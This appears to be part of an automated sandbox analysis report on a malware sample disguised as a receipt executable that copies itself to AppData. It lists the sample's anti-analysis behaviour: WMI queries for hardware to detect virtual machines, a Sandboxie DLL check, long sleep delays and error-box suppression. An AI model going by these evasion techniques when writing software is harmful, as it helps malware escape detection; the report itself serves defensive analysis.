Source: C:\Users\user\AppData\Roaming\daqfbrlrs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\daqfbrlrs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\daqfbrlrs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\daqfbrlrs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\daqfbrlrs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\daqfbrlrs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\daqfbrlrs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\daqfbrlrs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\daqfbrlrs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\daqfbrlrs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\daqfbrlrs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\daqfbrlrs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\daqfbrlrs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\daqfbrlrs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\daqfbrlrs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\daqfbrlrs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\daqfbrlrs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\daqfbrlrs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\daqfbrlrs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\daqfbrlrs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\daqfbrlrs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\daqfbrlrs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\daqfbrlrs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\daqfbrlrs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\daqfbrlrs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\daqfbrlrs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\daqfbrlrs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\daqfbrlrs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\daqfbrlrs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\daqfbrlrs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\daqfbrlrs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\daqfbrlrs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\daqfbrlrs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\daqfbrlrs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\daqfbrlrs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\daqfbrlrs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\daqfbrlrs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\daqfbrlrs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\daqfbrlrs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\daqfbrlrs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\daqfbrlrs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\daqfbrlrs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\daqfbrlrs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\daqfbrlrs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\daqfbrlrs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\daqfbrlrs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\daqfbrlrs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\daqfbrlrs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\daqfbrlrs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\daqfbrlrs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\daqfbrlrs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\daqfbrlrs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\daqfbrlrs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\daqfbrlrs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\daqfbrlrs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\daqfbrlrs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\daqfbrlrs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\daqfbrlrs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\daqfbrlrs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\daqfbrlrs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\daqfbrlrs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\daqfbrlrs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\daqfbrlrs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\daqfbrlrs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\daqfbrlrs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\daqfbrlrs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\daqfbrlrs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\daqfbrlrs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\daqfbrlrs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\daqfbrlrs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\daqfbrlrs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\daqfbrlrs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\daqfbrlrs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\daqfbrlrs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\daqfbrlrs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\daqfbrlrs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\daqfbrlrs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\daqfbrlrs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\daqfbrlrs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\daqfbrlrs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\daqfbrlrs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\daqfbrlrs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\daqfbrlrs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\daqfbrlrs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\daqfbrlrs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\daqfbrlrs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\daqfbrlrs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\daqfbrlrs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\daqfbrlrs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\daqfbrlrs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\daqfbrlrs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\daqfbrlrs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\daqfbrlrs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\daqfbrlrs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\daqfbrlrs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\daqfbrlrs.exe	Process information set: NOOPENFILEERRORBOX

Malware Analysis System Evasion

Yara detected AntiVM3

Source: Yara match	File source: Process Memory Space: Receipt_7814002.exe PID: 6112, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: daqfbrlrs.exe PID: 3440, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: daqfbrlrs.exe PID: 6772, type: MEMORYSTR

Queries sensitive network adapter information (via WMI, Win32_NetworkAdapter, often done to detect virtual machines)

Source: C:\Users\user\Desktop\Receipt_7814002.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_NetworkAdapterConfiguration
Source: C:\Users\user\AppData\Roaming\daqfbrlrs.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_NetworkAdapterConfiguration
Source: C:\Users\user\AppData\Roaming\daqfbrlrs.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_NetworkAdapterConfiguration

Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)

Source: Receipt_7814002.exe, 00000000.00000002.2362402725.0000000003039000.00000004.00000800.00020000.00000000.sdmp, daqfbrlrs.exe, 00000005.00000002.2874971771.0000000002DD9000.00000004.00000800.00020000.00000000.sdmp, daqfbrlrs.exe, 00000006.00000002.2964969950.0000000003207000.00000004.00000800.00020000.00000000.sdmp

Binary or memory string: SBIEDLL.DLL0SELECT * FROM WIN32_BIOS8UNEXPECTED WMI QUERY FAILURE

Source: C:\Users\user\Desktop\Receipt_7814002.exe	Memory allocated: 1300000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\Receipt_7814002.exe	Memory allocated: 2E40000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\Receipt_7814002.exe	Memory allocated: 1420000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\Receipt_7814002.exe	Memory allocated: 6C10000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\Receipt_7814002.exe	Memory allocated: 6A50000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\Receipt_7814002.exe	Memory allocated: 14C0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\Receipt_7814002.exe	Memory allocated: 31C0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\Receipt_7814002.exe	Memory allocated: 1730000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Roaming\daqfbrlrs.exe	Memory allocated: 2A70000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Roaming\daqfbrlrs.exe	Memory allocated: 2BE0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Roaming\daqfbrlrs.exe	Memory allocated: 4BE0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Roaming\daqfbrlrs.exe	Memory allocated: 6AE0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Roaming\daqfbrlrs.exe	Memory allocated: 6920000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Roaming\daqfbrlrs.exe	Memory allocated: 2D90000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Roaming\daqfbrlrs.exe	Memory allocated: 3010000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Roaming\daqfbrlrs.exe	Memory allocated: 2E10000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Roaming\daqfbrlrs.exe	Memory allocated: 6CE0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Roaming\daqfbrlrs.exe	Memory allocated: 7CE0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Roaming\daqfbrlrs.exe	Memory allocated: A30000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Roaming\daqfbrlrs.exe	Memory allocated: 25D0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Roaming\daqfbrlrs.exe	Memory allocated: 2300000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Roaming\daqfbrlrs.exe	Memory allocated: F00000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Roaming\daqfbrlrs.exe	Memory allocated: 2930000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Roaming\daqfbrlrs.exe	Memory allocated: 4930000 memory reserve \| memory write watch

Source: C:\Users\user\Desktop\Receipt_7814002.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\Desktop\Receipt_7814002.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\Desktop\Receipt_7814002.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\AppData\Roaming\daqfbrlrs.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\AppData\Roaming\daqfbrlrs.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\AppData\Roaming\daqfbrlrs.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\AppData\Roaming\daqfbrlrs.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\AppData\Roaming\daqfbrlrs.exe	Thread delayed: delay time: 922337203685477
Source: C:\Users\user\AppData\Roaming\daqfbrlrs.exe	Thread delayed: delay time: 922337203685477

Source: C:\Users\user\Desktop\Receipt_7814002.exe	Window / User API: threadDelayed 604	Jump to behavior
Source: C:\Users\user\Desktop\Receipt_7814002.exe	Window / User API: threadDelayed 2781	Jump to behavior
Source: C:\Users\user\AppData\Roaming\daqfbrlrs.exe	Window / User API: threadDelayed 764	Jump to behavior
Source: C:\Users\user\AppData\Roaming\daqfbrlrs.exe	Window / User API: threadDelayed 2222	Jump to behavior
Source: C:\Users\user\AppData\Roaming\daqfbrlrs.exe	Window / User API: threadDelayed 397
Source: C:\Users\user\AppData\Roaming\daqfbrlrs.exe	Window / User API: threadDelayed 2986

Source: C:\Users\user\Desktop\Receipt_7814002.exe TID: 1012	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Receipt_7814002.exe TID: 4112	Thread sleep time: -5534023222112862s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Receipt_7814002.exe TID: 4112	Thread sleep time: -100000s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Receipt_7814002.exe TID: 7160	Thread sleep count: 604 > 30	Jump to behavior
Source: C:\Users\user\Desktop\Receipt_7814002.exe TID: 4112	Thread sleep time: -99890s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Receipt_7814002.exe TID: 7160	Thread sleep count: 2781 > 30	Jump to behavior
Source: C:\Users\user\Desktop\Receipt_7814002.exe TID: 4112	Thread sleep time: -99781s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Receipt_7814002.exe TID: 4112	Thread sleep time: -99672s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Receipt_7814002.exe TID: 4112	Thread sleep time: -99562s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Receipt_7814002.exe TID: 4112	Thread sleep time: -99453s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Receipt_7814002.exe TID: 4112	Thread sleep time: -99344s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Receipt_7814002.exe TID: 4112	Thread sleep time: -99234s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Receipt_7814002.exe TID: 4112	Thread sleep time: -99125s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Receipt_7814002.exe TID: 4112	Thread sleep time: -99015s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Receipt_7814002.exe TID: 4112	Thread sleep time: -98906s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Receipt_7814002.exe TID: 4112	Thread sleep time: -98797s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Receipt_7814002.exe TID: 4112	Thread sleep time: -98687s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Receipt_7814002.exe TID: 4112	Thread sleep time: -98578s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Receipt_7814002.exe TID: 4112	Thread sleep time: -98469s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Receipt_7814002.exe TID: 4112	Thread sleep time: -98344s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Receipt_7814002.exe TID: 4112	Thread sleep time: -98234s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Receipt_7814002.exe TID: 4112	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Roaming\daqfbrlrs.exe TID: 1548	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Roaming\daqfbrlrs.exe TID: 1276	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Roaming\daqfbrlrs.exe TID: 6552	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Roaming\daqfbrlrs.exe TID: 3452	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Roaming\daqfbrlrs.exe TID: 6416	Thread sleep time: -10145709240540247s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Roaming\daqfbrlrs.exe TID: 6416	Thread sleep time: -100000s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Roaming\daqfbrlrs.exe TID: 652	Thread sleep count: 764 > 30	Jump to behavior
Source: C:\Users\user\AppData\Roaming\daqfbrlrs.exe TID: 6416	Thread sleep time: -99891s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Roaming\daqfbrlrs.exe TID: 652	Thread sleep count: 2222 > 30	Jump to behavior
Source: C:\Users\user\AppData\Roaming\daqfbrlrs.exe TID: 6416	Thread sleep time: -99766s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Roaming\daqfbrlrs.exe TID: 6416	Thread sleep time: -99641s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Roaming\daqfbrlrs.exe TID: 6416	Thread sleep time: -99530s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Roaming\daqfbrlrs.exe TID: 6416	Thread sleep time: -99421s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Roaming\daqfbrlrs.exe TID: 6416	Thread sleep time: -99312s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Roaming\daqfbrlrs.exe TID: 6416	Thread sleep time: -99203s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Roaming\daqfbrlrs.exe TID: 6416	Thread sleep time: -99093s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Roaming\daqfbrlrs.exe TID: 6416	Thread sleep time: -98984s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Roaming\daqfbrlrs.exe TID: 6416	Thread sleep time: -98875s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Roaming\daqfbrlrs.exe TID: 6416	Thread sleep time: -98766s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Roaming\daqfbrlrs.exe TID: 6416	Thread sleep time: -98641s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Roaming\daqfbrlrs.exe TID: 6416	Thread sleep time: -98516s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Roaming\daqfbrlrs.exe TID: 6416	Thread sleep time: -98406s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Roaming\daqfbrlrs.exe TID: 6416	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Roaming\daqfbrlrs.exe TID: 2656	Thread sleep time: -11068046444225724s >= -30000s
Source: C:\Users\user\AppData\Roaming\daqfbrlrs.exe TID: 2656	Thread sleep time: -100000s >= -30000s
Source: C:\Users\user\AppData\Roaming\daqfbrlrs.exe TID: 1524	Thread sleep count: 397 > 30
Source: C:\Users\user\AppData\Roaming\daqfbrlrs.exe TID: 2656	Thread sleep time: -99890s >= -30000s
Source: C:\Users\user\AppData\Roaming\daqfbrlrs.exe TID: 1524	Thread sleep count: 2986 > 30
Source: C:\Users\user\AppData\Roaming\daqfbrlrs.exe TID: 2656	Thread sleep time: -99781s >= -30000s
Source: C:\Users\user\AppData\Roaming\daqfbrlrs.exe TID: 2656	Thread sleep time: -99672s >= -30000s
Source: C:\Users\user\AppData\Roaming\daqfbrlrs.exe TID: 2656	Thread sleep time: -99562s >= -30000s
Source: C:\Users\user\AppData\Roaming\daqfbrlrs.exe TID: 2656	Thread sleep time: -99453s >= -30000s
Source: C:\Users\user\AppData\Roaming\daqfbrlrs.exe TID: 2656	Thread sleep time: -99343s >= -30000s
Source: C:\Users\user\AppData\Roaming\daqfbrlrs.exe TID: 2656	Thread sleep time: -99234s >= -30000s
Source: C:\Users\user\AppData\Roaming\daqfbrlrs.exe TID: 2656	Thread sleep time: -99125s >= -30000s
Source: C:\Users\user\AppData\Roaming\daqfbrlrs.exe TID: 2656	Thread sleep time: -99015s >= -30000s
Source: C:\Users\user\AppData\Roaming\daqfbrlrs.exe TID: 2656	Thread sleep time: -98906s >= -30000s
Source: C:\Users\user\AppData\Roaming\daqfbrlrs.exe TID: 2656	Thread sleep time: -98797s >= -30000s
Source: C:\Users\user\AppData\Roaming\daqfbrlrs.exe TID: 2656	Thread sleep time: -98687s >= -30000s
Source: C:\Users\user\AppData\Roaming\daqfbrlrs.exe TID: 2656	Thread sleep time: -98578s >= -30000s
Source: C:\Users\user\AppData\Roaming\daqfbrlrs.exe TID: 2656	Thread sleep time: -98468s >= -30000s
Source: C:\Users\user\AppData\Roaming\daqfbrlrs.exe TID: 2656	Thread sleep time: -98359s >= -30000s
Source: C:\Users\user\AppData\Roaming\daqfbrlrs.exe TID: 2656	Thread sleep time: -98250s >= -30000s
Source: C:\Users\user\AppData\Roaming\daqfbrlrs.exe TID: 2656	Thread sleep time: -922337203685477s >= -30000s

Source: C:\Users\user\Desktop\Receipt_7814002.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_BaseBoard
Source: C:\Users\user\AppData\Roaming\daqfbrlrs.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_BaseBoard
Source: C:\Users\user\AppData\Roaming\daqfbrlrs.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_BaseBoard

Source: C:\Users\user\Desktop\Receipt_7814002.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Users\user\Desktop\Receipt_7814002.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\daqfbrlrs.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Users\user\AppData\Roaming\daqfbrlrs.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\daqfbrlrs.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Users\user\AppData\Roaming\daqfbrlrs.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor

Source: C:\Users\user\Desktop\Receipt_7814002.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\Desktop\Receipt_7814002.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\Desktop\Receipt_7814002.exe	Thread delayed: delay time: 100000	Jump to behavior
Source: C:\Users\user\Desktop\Receipt_7814002.exe	Thread delayed: delay time: 99890	Jump to behavior
Source: C:\Users\user\Desktop\Receipt_7814002.exe	Thread delayed: delay time: 99781	Jump to behavior
Source: C:\Users\user\Desktop\Receipt_7814002.exe	Thread delayed: delay time: 99672	Jump to behavior
Source: C:\Users\user\Desktop\Receipt_7814002.exe	Thread delayed: delay time: 99562	Jump to behavior
Source: C:\Users\user\Desktop\Receipt_7814002.exe	Thread delayed: delay time: 99453	Jump to behavior
Source: C:\Users\user\Desktop\Receipt_7814002.exe	Thread delayed: delay time: 99344	Jump to behavior
Source: C:\Users\user\Desktop\Receipt_7814002.exe	Thread delayed: delay time: 99234	Jump to behavior
Source: C:\Users\user\Desktop\Receipt_7814002.exe	Thread delayed: delay time: 99125	Jump to behavior
Source: C:\Users\user\Desktop\Receipt_7814002.exe	Thread delayed: delay time: 99015	Jump to behavior
Source: C:\Users\user\Desktop\Receipt_7814002.exe	Thread delayed: delay time: 98906	Jump to behavior
Source: C:\Users\user\Desktop\Receipt_7814002.exe	Thread delayed: delay time: 98797	Jump to behavior
Source: C:\Users\user\Desktop\Receipt_7814002.exe	Thread delayed: delay time: 98687	Jump to behavior
Source: C:\Users\user\Desktop\Receipt_7814002.exe	Thread delayed: delay time: 98578	Jump to behavior
Source: C:\Users\user\Desktop\Receipt_7814002.exe	Thread delayed: delay time: 98469	Jump to behavior
Source: C:\Users\user\Desktop\Receipt_7814002.exe	Thread delayed: delay time: 98344	Jump to behavior
Source: C:\Users\user\Desktop\Receipt_7814002.exe	Thread delayed: delay time: 98234	Jump to behavior
Source: C:\Users\user\Desktop\Receipt_7814002.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\AppData\Roaming\daqfbrlrs.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\AppData\Roaming\daqfbrlrs.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\AppData\Roaming\daqfbrlrs.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\AppData\Roaming\daqfbrlrs.exe	Thread delayed: delay time: 100000	Jump to behavior
Source: C:\Users\user\AppData\Roaming\daqfbrlrs.exe	Thread delayed: delay time: 99891	Jump to behavior
Source: C:\Users\user\AppData\Roaming\daqfbrlrs.exe	Thread delayed: delay time: 99766	Jump to behavior
Source: C:\Users\user\AppData\Roaming\daqfbrlrs.exe	Thread delayed: delay time: 99641	Jump to behavior
Source: C:\Users\user\AppData\Roaming\daqfbrlrs.exe	Thread delayed: delay time: 99530	Jump to behavior
Source: C:\Users\user\AppData\Roaming\daqfbrlrs.exe	Thread delayed: delay time: 99421	Jump to behavior
Source: C:\Users\user\AppData\Roaming\daqfbrlrs.exe	Thread delayed: delay time: 99312	Jump to behavior
Source: C:\Users\user\AppData\Roaming\daqfbrlrs.exe	Thread delayed: delay time: 99203	Jump to behavior
Source: C:\Users\user\AppData\Roaming\daqfbrlrs.exe	Thread delayed: delay time: 99093	Jump to behavior
Source: C:\Users\user\AppData\Roaming\daqfbrlrs.exe	Thread delayed: delay time: 98984	Jump to behavior
Source: C:\Users\user\AppData\Roaming\daqfbrlrs.exe	Thread delayed: delay time: 98875	Jump to behavior
Source: C:\Users\user\AppData\Roaming\daqfbrlrs.exe	Thread delayed: delay time: 98766	Jump to behavior
Source: C:\Users\user\AppData\Roaming\daqfbrlrs.exe	Thread delayed: delay time: 98641	Jump to behavior
Source: C:\Users\user\AppData\Roaming\daqfbrlrs.exe	Thread delayed: delay time: 98516	Jump to behavior
